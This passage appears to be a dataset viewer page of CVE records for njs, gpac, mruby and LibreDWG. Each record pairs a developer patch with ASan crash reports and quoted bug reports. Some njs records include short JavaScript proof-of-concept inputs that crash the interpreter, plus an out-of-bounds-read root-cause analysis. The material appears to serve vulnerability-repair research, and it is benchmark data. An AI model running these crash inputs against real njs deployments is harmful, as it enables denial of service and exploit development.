Dataset Viewer
Auto-converted to Parquet Duplicate
instance_id
string
description
string
exploit_url
string
patch_url
string
weakness_enumeration
string
github_repo
string
base_commit
string
developers_patch
string
bug_report
string
sanitizer_report
string
sanitizer
string
github_issue
string
nvd_url
string
njs.cve-2022-32414
Nginx NJS v0.7.2 was discovered to contain a segmentation violation in the function njs_vmcode_interpreter at src/njs_vmcode.c.
https://github.com/nginx/njs/issues/483
https://github.com/nginx/njs/commit/31ed93a5623f24ca94e6d47e895ba735d9d97d46
CWE-416
nginx/njs
31ed93a5623f24ca94e6d47e895ba735d9d97d46~1
diff --git a/src/njs_promise.c b/src/njs_promise.c index 52ae5b570..ea162d533 100644 --- a/src/njs_promise.c +++ b/src/njs_promise.c @@ -1369,6 +1369,10 @@ njs_promise_perform_all_handler(njs_vm_t *vm, njs_iterator_args_t *args, njs_promise_all_context_t *context; njs_promise_iterator_args_t *pargs; + if (!njs_is_valid(value)) { + value = njs_value_arg(&njs_value_undefined); + } + pargs = (njs_promise_iterator_args_t *) args; capability = pargs->capability; @@ -1459,6 +1463,10 @@ njs_promise_perform_all_settled_handler(njs_vm_t *vm, njs_iterator_args_t *args, njs_promise_all_context_t *context; njs_promise_iterator_args_t *pargs; + if (!njs_is_valid(value)) { + value = njs_value_arg(&njs_value_undefined); + } + pargs = (njs_promise_iterator_args_t *) args; capability = pargs->capability; @@ -1598,6 +1606,10 @@ njs_promise_perform_any_handler(njs_vm_t *vm, njs_iterator_args_t *args, njs_promise_all_context_t *context; njs_promise_iterator_args_t *pargs; + if (!njs_is_valid(value)) { + value = njs_value_arg(&njs_value_undefined); + } + pargs = (njs_promise_iterator_args_t *) args; capability = pargs->capability; @@ -1745,6 +1757,10 @@ njs_promise_perform_race_handler(njs_vm_t *vm, njs_iterator_args_t *args, njs_promise_capability_t *capability; njs_promise_iterator_args_t *pargs; + if (!njs_is_valid(value)) { + value = njs_value_arg(&njs_value_undefined); + } + pargs = (njs_promise_iterator_args_t *) args; ret = njs_function_call(vm, pargs->function, pargs->constructor, value, diff --git a/src/test/njs_unit_test.c b/src/test/njs_unit_test.c index b28e34fef..def152aa8 100644 --- a/src/test/njs_unit_test.c +++ b/src/test/njs_unit_test.c @@ -21149,6 +21149,13 @@ static njs_unit_test_t njs_externals_test[] = "}))" ".then(v => $r.retval(v))"), njs_str("a:async:pr:async2:pr:r,b:async:pr:async2:pr:r,c:async:pr:async2:pr:r") }, + + { njs_str("async function f () {" + " var p = await Promise.race({length:1});" + " for (const v in 'test') { }" + "};" + "f().then(v => $r.retval('done'))"), + njs_str("done") }, };
https://github.com/nginx/njs/issues/483
AddressSanitizer:DEADLYSIGNAL ================================================================= ==732128==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x0000004e3e53 bp 0x7ffe6e1f76b0 sp 0x7ffe6e1f6e80 T0) ==732128==The signal is caused by a READ memory access. ==732128==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used. #0 0x4e3e53 in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:802:27 #1 0x6050bc in njs_await_fulfilled /home/q1iq/Documents/origin/njs_f65981b/src/njs_async.c:96:11 #2 0x53c9ec in njs_function_native_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:739:11 #3 0x53b029 in njs_function_frame_invoke /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:777:16 #4 0x53b029 in njs_function_call2 /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:600:11 #5 0x5f45b7 in njs_function_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.h:180:12 #6 0x5f45b7 in njs_promise_reaction_job /home/q1iq/Documents/origin/njs_f65981b/src/njs_promise.c:1171:15 #7 0x53c9ec in njs_function_native_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:739:11 #8 0x4deb20 in njs_vm_invoke /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:440:12 #9 0x4deb20 in njs_vm_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:424:12 #10 0x4deb20 in njs_vm_handle_events /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:584:19 #11 0x4deb20 in njs_vm_run /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:544:12 #12 0x4c82d7 in njs_process_script /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:924:15 #13 0x4c73a1 in njs_process_file /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:619:11 #14 0x4c73a1 in main /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:303:15 #15 0x7f3e31cf00b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16 #16 0x41dabd in _start (/home/q1iq/Documents/origin/njs_f65981b/build/njs+0x41dabd) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:802:27 in njs_vmcode_interpreter ==732128==ABORTING
=== https://github.com/nginx/njs/issues/483 === Title: SEGV njs_vmcode.c:802:27 in njs_vmcode_interpreter --- Body: ### Environment ``` OS : Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux Commit : f65981b0b8fcf02d69a40bc934803c25c9f607ab Version : 0.7.2 Build : NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address" NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer" ``` ### Proof of concept ``` function main() { const a4 = Promise["race"](Float64Array); function a14(a15,a16) { const a17 = async (a18,a19) => { const a20 = await a15; for (const a22 in "test") { } }; const a23 = a17(); } const a24 = a14(a4); } main(); ``` ### Stack dump ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==732128==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x0000004e3e53 bp 0x7ffe6e1f76b0 sp 0x7ffe6e1f6e80 T0) ==732128==The signal is caused by a READ memory access. ==732128==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used. #0 0x4e3e53 in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:802:27 #1 0x6050bc in njs_await_fulfilled /home/q1iq/Documents/origin/njs_f65981b/src/njs_async.c:96:11 #2 0x53c9ec in njs_function_native_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:739:11 #3 0x53b029 in njs_function_frame_invoke /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:777:16 #4 0x53b029 in njs_function_call2 /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:600:11 #5 0x5f45b7 in njs_function_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.h:180:12 #6 0x5f45b7 in njs_promise_reaction_job /home/q1iq/Documents/origin/njs_f65981b/src/njs_promise.c:1171:15 #7 0x53c9ec in njs_function_native_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:739:11 #8 0x4deb20 in njs_vm_invoke /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:440:12 #9 0x4deb20 in njs_vm_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:424:12 #10 0x4deb20 in njs_vm_handle_events /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:584:19 #11 0x4deb20 in njs_vm_run /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:544:12 #12 0x4c82d7 in njs_process_script /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:924:15 #13 0x4c73a1 in njs_process_file /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:619:11 #14 0x4c73a1 in main /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:303:15 #15 0x7f3e31cf00b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16 #16 0x41dabd in _start (/home/q1iq/Documents/origin/njs_f65981b/build/njs+0x41dabd) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:802:27 in njs_vmcode_interpreter ==732128==ABORTING ``` ### Credit Q1IQ(@Q1IQ)
https://nvd.nist.gov/vuln/detail/CVE-2022-32414
gpac.cve-2023-5586
NULL Pointer Dereference in GitHub repository gpac/gpac prior to 2.3.0-DEV.
https://huntr.dev/bounties/d2a6ea71-3555-47a6-9b18-35455d103740
https://github.com/gpac/gpac/commit/ca1b48f0abe71bf81a58995d7d75dc27f5a17ddc, https://huntr.dev/bounties/d2a6ea71-3555-47a6-9b18-35455d103740
CWE-476
gpac/gpac
ca1b48f0abe71bf81a58995d7d75dc27f5a17ddc~1
diff --git a/src/filters/reframe_rawpcm.c b/src/filters/reframe_rawpcm.c index 37decc00e6..406c6638de 100644 --- a/src/filters/reframe_rawpcm.c +++ b/src/filters/reframe_rawpcm.c @@ -360,6 +360,14 @@ GF_Err pcmreframe_process(GF_Filter *filter) } wav_ok = GF_FALSE; } + if (!ctx->ch) { + GF_LOG(GF_LOG_ERROR, GF_LOG_MEDIA, ("[PCMReframe] Channel count %d invalid in wave\n", ctx->ch)); + wav_ok = GF_FALSE; + } + if (!ctx->sr) { + GF_LOG(GF_LOG_ERROR, GF_LOG_MEDIA, ("[PCMReframe] Samplerate %d invalid in wave\n", ctx->sr)); + wav_ok = GF_FALSE; + } ctx->wav_hdr_size = (u32) gf_bs_get_position(bs);
https://nvd.nist.gov/vuln/detail/CVE-2023-5586
mruby.cve-2022-0240
mruby is vulnerable to NULL Pointer Dereference
https://huntr.dev/bounties/5857eced-aad9-417d-864e-0bdf17226cbb
https://github.com/mruby/mruby/commit/31fa3304049fc406a201a72293cce140f0557dca
CWE-476
mruby/mruby
31fa3304049fc406a201a72293cce140f0557dca~1
diff --git a/src/class.c b/src/class.c index ec9c648e5d..8751dcaf05 100644 --- a/src/class.c +++ b/src/class.c @@ -357,6 +357,7 @@ prepare_singleton_class(mrb_state *mrb, struct RBasic *o) { struct RClass *sc, *c; + mrb_assert(o->c); if (o->c->tt == MRB_TT_SCLASS) return; sc = MRB_OBJ_ALLOC(mrb, MRB_TT_SCLASS, mrb->class_class); sc->flags |= MRB_FL_CLASS_IS_INHERITED; @@ -1682,6 +1683,7 @@ mrb_singleton_class_ptr(mrb_state *mrb, mrb_value v) break; } obj = mrb_basic_ptr(v); + if (obj->c == NULL) return NULL; prepare_singleton_class(mrb, obj); return obj->c; }
https://nvd.nist.gov/vuln/detail/CVE-2022-0240
njs.cve-2022-28049
NGINX NJS 0.7.2 was discovered to contain a NULL pointer dereference via the component njs_vmcode_array at /src/njs_vmcode.c.
https://github.com/nginx/njs/issues/473
https://github.com/nginx/njs/commit/f65981b0b8fcf02d69a40bc934803c25c9f607ab
CWE-476
nginx/njs
f65981b0b8fcf02d69a40bc934803c25c9f607ab~1
diff --git a/src/njs_vmcode.c b/src/njs_vmcode.c index ef0beb5e0..ec478659c 100644 --- a/src/njs_vmcode.c +++ b/src/njs_vmcode.c @@ -1055,14 +1055,16 @@ njs_vmcode_array(njs_vm_t *vm, u_char *pc) if (code->ctor) { /* Array of the form [,,,], [1,,]. */ - value = array->start; - length = array->length; - - do { - njs_set_invalid(value); - value++; - length--; - } while (length != 0); + if (array->object.fast_array) { + value = array->start; + length = array->length; + + do { + njs_set_invalid(value); + value++; + length--; + } while (length != 0); + } } else { /* Array of the form [], [,,1], [1,2,3]. */ diff --git a/src/test/njs_unit_test.c b/src/test/njs_unit_test.c index dc18a13b1..ef5b3ca45 100644 --- a/src/test/njs_unit_test.c +++ b/src/test/njs_unit_test.c @@ -13154,6 +13154,10 @@ static njs_unit_test_t njs_test[] = { njs_str("(new Function('return 5' + '** 1'.repeat(2**13)))()"), njs_str("5") }, + { njs_str("var a = (new Function('return [' + ','.repeat(2**16) + ']'))();" + "njs.dump(a)"), + njs_str("[<65536 empty items>]") }, + { njs_str("(new Function('var a = 7; return a' + '= a'.repeat(2**13)))()"), njs_str("7") },
https://github.com/nginx/njs/issues/473
INFO: Seed: 2125423890 INFO: Loaded 1 modules (53334 inline 8-bit counters): 53334 [0x95f010, 0x96c066), INFO: Loaded 1 PC tables (53334 PCs): 53334 [0x96c068,0xa3c5c8), /out/njs_process_script_fuzzer: Running 1 inputs 1 time(s) each. Running: crashes/njs_njs_process_script_fuzzer/id:000002,sig:06,src:001260+005121,time:65254059,op:splice,rep:2,trial:1496856 src/njs_vmcode.c:1049:17: runtime error: member access within null pointer of type 'njs_value_t' (aka 'union njs_value_s') SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior src/njs_vmcode.c:1049:17 in AddressSanitizer:DEADLYSIGNAL ================================================================= ==1324882==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0000005394e8 bp 0x7fffffffd4f0 sp 0x7fffffffd4c0 T0) ==1324882==The signal is caused by a WRITE memory access. ==1324882==Hint: address points to the zero page. #0 0x5394e8 in njs_vmcode_array /src/njs/src/njs_vmcode.c:1049:17 #1 0x52b41d in njs_vmcode_interpreter /src/njs/src/njs_vmcode.c:580:23 #2 0x52472e in njs_vm_start /src/njs/src/njs_vm.c:487:11 #3 0x4ffe8e in njs_process_script (/out/njs_process_script_fuzzer+0x4ffe8e) #4 0x4ff759 in LLVMFuzzerTestOneInput (/out/njs_process_script_fuzzer+0x4ff759) #5 0x4e0b39 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/out/njs_process_script_fuzzer+0x4e0b39) #6 0x4cba49 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/out/njs_process_script_fuzzer+0x4cba49) #7 0x4d0952 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/out/njs_process_script_fuzzer+0x4d0952) #8 0x4cb7d2 in main (/out/njs_process_script_fuzzer+0x4cb7d2) #9 0x7ffff77050b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16 #10 0x42101d in _start (/out/njs_process_script_fuzzer+0x42101d) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /src/njs/src/njs_vmcode.c:1049:17 in njs_vmcode_array ==1324882==ABORTING
=== https://github.com/nginx/njs/issues/473 === Title: Null pointer dereference in src/njs_vmcode.c:1049:17 --- Body: Hi, this bug was found by fuzzing the current master branch, to reproduce build the OSS-Fuzz harness with ASan and UBSan. The bug is a write to a NULL pointer, this is the sanitizer report: ``` INFO: Seed: 2125423890 INFO: Loaded 1 modules (53334 inline 8-bit counters): 53334 [0x95f010, 0x96c066), INFO: Loaded 1 PC tables (53334 PCs): 53334 [0x96c068,0xa3c5c8), /out/njs_process_script_fuzzer: Running 1 inputs 1 time(s) each. Running: crashes/njs_njs_process_script_fuzzer/id:000002,sig:06,src:001260+005121,time:65254059,op:splice,rep:2,trial:1496856 src/njs_vmcode.c:1049:17: runtime error: member access within null pointer of type 'njs_value_t' (aka 'union njs_value_s') SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior src/njs_vmcode.c:1049:17 in AddressSanitizer:DEADLYSIGNAL ================================================================= ==1324882==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0000005394e8 bp 0x7fffffffd4f0 sp 0x7fffffffd4c0 T0) ==1324882==The signal is caused by a WRITE memory access. ==1324882==Hint: address points to the zero page. #0 0x5394e8 in njs_vmcode_array /src/njs/src/njs_vmcode.c:1049:17 #1 0x52b41d in njs_vmcode_interpreter /src/njs/src/njs_vmcode.c:580:23 #2 0x52472e in njs_vm_start /src/njs/src/njs_vm.c:487:11 #3 0x4ffe8e in njs_process_script (/out/njs_process_script_fuzzer+0x4ffe8e) #4 0x4ff759 in LLVMFuzzerTestOneInput (/out/njs_process_script_fuzzer+0x4ff759) #5 0x4e0b39 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/out/njs_process_script_fuzzer+0x4e0b39) #6 0x4cba49 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/out/njs_process_script_fuzzer+0x4cba49) #7 0x4d0952 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/out/njs_process_script_fuzzer+0x4d0952) #8 0x4cb7d2 in main (/out/njs_process_script_fuzzer+0x4cb7d2) #9 0x7ffff77050b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16 #10 0x42101d in _start (/out/njs_process_script_fuzzer+0x42101d) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /src/njs/src/njs_vmcode.c:1049:17 in njs_vmcode_array ==1324882==ABORTING ``` I attach the crashing testcase in a tar.gz, you can run it simply giving the testcase as first argument to the harness. [id:000002,sig:06,src:001260+005121,time:65254059,op:splice,rep:2,trial:1496856.tar.gz](https://github.com/nginx/njs/files/8090085/id.000002.sig.06.src.001260%2B005121.time.65254059.op.splice.rep.2.trial.1496856.tar.gz)
https://nvd.nist.gov/vuln/detail/CVE-2022-28049
njs.cve-2022-38890
Nginx NJS v0.7.7 was discovered to contain a segmentation violation via njs_utf8_next at src/njs_utf8.h
https://github.com/nginx/njs/issues/569
https://github.com/nginx/njs/issues/569
CWE-125
nginx/njs
https://github.com/nginx/njs/issues/569
AddressSanitizer:DEADLYSIGNAL ================================================================= ==1550478==ERROR: AddressSanitizer: SEGV on unknown address 0x6170bebedece (pc 0x000000505f0e bp 0x7fff88dc8f70 sp 0x7fff88dc8e40 T0) ==1550478==The signal is caused by a READ memory access. #0 0x505f0e in njs_utf8_next /data/test-njs/njs/src/njs_utf8.h:54:20 #1 0x505f0e in njs_string_offset /data/test-njs/njs/src/njs_string.c:2545:17 #2 0x505f0e in njs_string_prototype_last_index_of /data/test-njs/njs/src/njs_string.c:2309:13 #3 0x53df7c in njs_function_native_call /data/test-njs/njs/src/njs_function.c:742:11 #4 0x4e5117 in njs_vmcode_interpreter /data/test-njs/njs/src/njs_vmcode.c:801:23 #5 0x53d466 in njs_function_lambda_call /data/test-njs/njs/src/njs_function.c:693:11 #6 0x4e5117 in njs_vmcode_interpreter /data/test-njs/njs/src/njs_vmcode.c:801:23 #7 0x4df05a in njs_vm_start /data/test-njs/njs/src/njs_vm.c:543:11 #8 0x4c7f89 in njs_process_script /data/test-njs/njs/src/njs_shell.c:919:19 #9 0x4c73b1 in njs_process_file /data/test-njs/njs/src/njs_shell.c:648:11 #10 0x4c73b1 in main /data/test-njs/njs/src/njs_shell.c:314:15 #11 0x7f75066e7082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16 #12 0x41daad in _start (/data/test-njs/njs/build/njs+0x41daad) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /data/test-njs/njs/src/njs_utf8.h:54:20 in njs_utf8_next ==1550478==ABORTING
=== https://github.com/nginx/njs/issues/569 === Title: Another way to trigger SEGV in njs_utf8_next cause oob read --- Body: the call stack is different with https://github.com/nginx/njs/issues/522 ``` Environment commit: 569292e0a74f2b1ec09566f3329f82bdd0d58e87 version: 0.7.7 Build : ./configure --cc=clang --address-sanitizer=YES make ``` Poc ```js function placeholder(){} function main() { var v2 = String.fromCharCode(-950135168); var v3 = v2.trimEnd(String); var v8 = 512 >>> "multiline"; var v9 = String.fromCharCode(788580.490736339); var v10 = v9.padEnd(v8,v3); var v11 = v10.lastIndexOf(788580.490736339); } main(); ``` Asan ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==1550478==ERROR: AddressSanitizer: SEGV on unknown address 0x6170bebedece (pc 0x000000505f0e bp 0x7fff88dc8f70 sp 0x7fff88dc8e40 T0) ==1550478==The signal is caused by a READ memory access. #0 0x505f0e in njs_utf8_next /data/test-njs/njs/src/njs_utf8.h:54:20 #1 0x505f0e in njs_string_offset /data/test-njs/njs/src/njs_string.c:2545:17 #2 0x505f0e in njs_string_prototype_last_index_of /data/test-njs/njs/src/njs_string.c:2309:13 #3 0x53df7c in njs_function_native_call /data/test-njs/njs/src/njs_function.c:742:11 #4 0x4e5117 in njs_vmcode_interpreter /data/test-njs/njs/src/njs_vmcode.c:801:23 #5 0x53d466 in njs_function_lambda_call /data/test-njs/njs/src/njs_function.c:693:11 #6 0x4e5117 in njs_vmcode_interpreter /data/test-njs/njs/src/njs_vmcode.c:801:23 #7 0x4df05a in njs_vm_start /data/test-njs/njs/src/njs_vm.c:543:11 #8 0x4c7f89 in njs_process_script /data/test-njs/njs/src/njs_shell.c:919:19 #9 0x4c73b1 in njs_process_file /data/test-njs/njs/src/njs_shell.c:648:11 #10 0x4c73b1 in main /data/test-njs/njs/src/njs_shell.c:314:15 #11 0x7f75066e7082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16 #12 0x41daad in _start (/data/test-njs/njs/build/njs+0x41daad) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /data/test-njs/njs/src/njs_utf8.h:54:20 in njs_utf8_next ==1550478==ABORTING ``` Credit ret2ddme --- Comment #1 by ret2ddme: ## Analysis The root case is ```c const u_char * njs_string_offset(const u_char *start, const u_char *end, size_t index) { uint32_t *map; njs_uint_t skip; if (index >= NJS_STRING_MAP_STRIDE) { map = njs_string_map_start(end); [1]<--- create and init map if (map[0] == 0) { njs_string_offset_map_init(start, end - start); [2]<----- calculate some value and assign to map } start += map[index / NJS_STRING_MAP_STRIDE - 1]; [3]<------- add map with start, **access array without check index** } for (skip = index % NJS_STRING_MAP_STRIDE; skip != 0; skip--) { start = njs_utf8_next(start, end); [4] <----- crash here } return start; } ``` We can control `index` to be a large number just like 0x1f0 in `poc`. After `njs_string_map_start` the map is ```sh pwndbg> p map $37 = (uint32_t *) 0x617000002214 pwndbg> x/20gx 0x617000002214 0x617000002214: 0xbebebebe00000000 0xbebebebebebebebe 0x617000002224: 0xbebebebebebebebe 0xbebebebebebebebe 0x617000002234: 0xbebebebebebebebe 0xbebebebebebebebe 0x617000002244: 0xbebebebebebebebe 0x00000040bebebebe 0x617000002254: 0x0000004000006100 0x000004a000006100 0x617000002264: 0xbebe020100006190 0x0000200000000250 0x617000002274: 0x0000000000006170 0x0000000000000000 0x617000002284: 0x0000000000000000 0x0000000000000000 0x617000002294: 0x0000000000000000 0x0000000000000000 0x6170000022a4: 0x0000000000000000 0x0000000000000000 ``` And after some process of `njs_string_offset_map_init` func, the map size is 5 ```sh pwndbg> p map $36 = (uint32_t *) 0x617000002214 pwndbg> x/20gx 0x617000002214 0x617000002214: 0x000000c000000060 0x0000018000000120 0x617000002224: 0xbebebebe000001e0 0xbebebebebebebebe 0x617000002234: 0xbebebebebebebebe 0xbebebebebebebebe 0x617000002244: 0xbebebebebebebebe 0x00000040bebebebe 0x617000002254: 0x0000004000006100 0x000004a000006100 0x617000002264: 0xbebe020100006190 0x0000200000000250 0x617000002274: 0x0000000000006170 0x0000000000000000 0x617000002284: 0x0000000000000000 0x0000000000000000 0x617000002294: 0x0000000000000000 0x0000000000000000 0x6170000022a4: 0x0000000000000000 0x0000000000000000 ``` `NJS_STRING_MAP_STRIDE` is 32, which set in `njs_string.h`. Then `index / NJS_STRING_MAP_STRIDE - 1` large than the size of `map` cause oob read. In poc `map[index / NJS_STRING_MAP_STRIDE - 1]` get `0xbebebebe` then crash --- Comment #2 by ret2ddme: ## Demo patch ```diff diff --git a/src/njs_string.c b/src/njs_string.c index 83cede5..8b3a31e 100644 --- a/src/njs_string.c +++ b/src/njs_string.c @@ -2307,7 +2307,10 @@ njs_string_prototype_last_index_of(njs_vm_t *vm, njs_value_t *args, } p = njs_string_offset(string.start, end, index); - + if (p == (u_char*)NJS_ERROR) { + njs_error(vm, "index too large"); + return NJS_ERROR; + } for (; p >= string.start; p = njs_utf8_prev(p)) { if ((p + s.size) <= end && memcmp(p, s.start, s.size) == 0) { goto done; @@ -2530,14 +2533,16 @@ njs_string_offset(const u_char *start, const u_char *end, size_t index) { uint32_t *map; njs_uint_t skip; - + njs_uint_t size = 0; if (index >= NJS_STRING_MAP_STRIDE) { map = njs_string_map_start(end); if (map[0] == 0) { - njs_string_offset_map_init(start, end - start); + size = njs_string_offset_map_init(start, end - start); + } + if((index / NJS_STRING_MAP_STRIDE) > size){ + return (u_char*)NJS_ERROR; } - start += map[index / NJS_STRING_MAP_STRIDE - 1]; } @@ -2596,7 +2601,7 @@ njs_string_index(njs_string_prop_t *string, uint32_t offset) } -void +njs_uint_t njs_string_offset_map_init(const u_char *start, size_t size) { size_t offset; @@ -2622,6 +2627,8 @@ njs_string_offset_map_init(const u_char *start, size_t size) offset--; } while (p < end); + + return n; } diff --git a/src/njs_string.h b/src/njs_string.h index 99f9d14..7e5eaab 100644 --- a/src/njs_string.h +++ b/src/njs_string.h @@ -244,7 +244,7 @@ njs_int_t njs_string_slice(njs_vm_t *vm, njs_value_t *dst, const u_char *njs_string_offset(const u_char *start, const u_char *end, size_t index); uint32_t njs_string_index(njs_string_prop_t *string, uint32_t offset); -void njs_string_offset_map_init(const u_char *start, size_t size); +njs_uint_t njs_string_offset_map_init(const u_char *start, size_t size); double njs_string_to_index(const njs_value_t *value); const char *njs_string_to_c_string(njs_vm_t *vm, njs_value_t *value); njs_int_t njs_string_encode_uri(njs_vm_t *vm, njs_value_t *args, ``` This fix is not standard, I just provides an idea.
https://nvd.nist.gov/vuln/detail/CVE-2022-38890
libredwg.cve-2020-21816
A heab based buffer overflow issue exists in GNU LibreDWG 0.10.2641 via htmlescape ../../programs/escape.c:46.
https://github.com/LibreDWG/libredwg/issues/182#issuecomment-572890865
https://github.com/LibreDWG/libredwg/issues/182#issuecomment-572890865
CWE-787
LibreDWG/libredwg
https://github.com/LibreDWG/libredwg/issues/182#issuecomment-572890865
=== https://github.com/LibreDWG/libredwg/issues/182#issuecomment-572890865 === Title: Several bugs found by fuzzing --- Body: Hi, After fuzzing libredwg, I found the following bugs on the latest commit on master. Command: ./dwg2SVG $PoC **1.NULL pointer dereference in htmlescape ../../programs/escape.c:29** POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_7b9cb829/id:000013%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:46417 ASAN says: ``` ================================================================= ==19607==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f433bb56646 bp 0x7ffed1176670 sp 0x7ffed1175de8 T0) ==19607==The signal is caused by a READ memory access. ==19607==Hint: address points to the zero page. #0 0x7f433bb56645 (/lib/x86_64-linux-gnu/libc.so.6+0xb1645) #1 0x7f433c28557b (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5157b) #2 0x55950b27cdd4 in htmlescape ../../programs/escape.c:29 #3 0x55950b27abb5 in output_TEXT ../../programs/dwg2SVG.c:113 #4 0x55950b27abb5 in output_object ../../programs/dwg2SVG.c:312 #5 0x55950b27abb5 in output_BLOCK_HEADER ../../programs/dwg2SVG.c:371 #6 0x55950b278477 in output_SVG ../../programs/dwg2SVG.c:411 #7 0x55950b278477 in main ../../programs/dwg2SVG.c:525 #8 0x7f433bac6b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #9 0x55950b278d19 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwg2SVG+0x27ad19) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xb1645) ==19607==ABORTING ``` --- Comment #1 by linhlhq: **2.heap-buffer-overflow in htmlescape ../../programs/escape.c:46** POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_7b9cb829/id:000016%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:125355 ASAN says: ``` ==4460==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000044cc6 at pc 0x7f2ccba2f66e bp 0x7ffd5b9c04e0 sp 0x7ffd5b9bfc88 READ of size 22 at 0x603000044cc6 thread T0 #0 0x7f2ccba2f66d (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d) #1 0x561be92280e7 in strcat /usr/include/x86_64-linux-gnu/bits/string_fortified.h:128 #2 0x561be92280e7 in htmlescape ../../programs/escape.c:46 #3 0x561be9225b38 in output_BLOCK_HEADER ../../programs/dwg2SVG.c:361 #4 0x561be9223544 in output_SVG ../../programs/dwg2SVG.c:418 #5 0x561be9223544 in main ../../programs/dwg2SVG.c:525 #6 0x7f2ccb270b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #7 0x561be9223d19 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwg2SVG+0x27ad19) 0x603000044cc6 is located 0 bytes to the right of 22-byte region [0x603000044cb0,0x603000044cc6) allocated by thread T0 here: #0 0x7f2ccbabcb50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50) #1 0x561be9227de0 in htmlescape ../../programs/escape.c:30 SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d) Shadow bytes around the buggy address: 0x0c0680000940: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 0x0c0680000950: 00 00 fa fa 00 00 00 fa fa fa 00 00 00 00 fa fa 0x0c0680000960: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 fa 0x0c0680000970: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 0x0c0680000980: 00 00 fa fa fd fd fd fa fa fa fd fd fd fa fa fa =>0x0c0680000990: fd fd fd fa fa fa 00 00[06]fa fa fa fa fa fa fa 0x0c06800009a0: fa fa fa fa fa fa fa 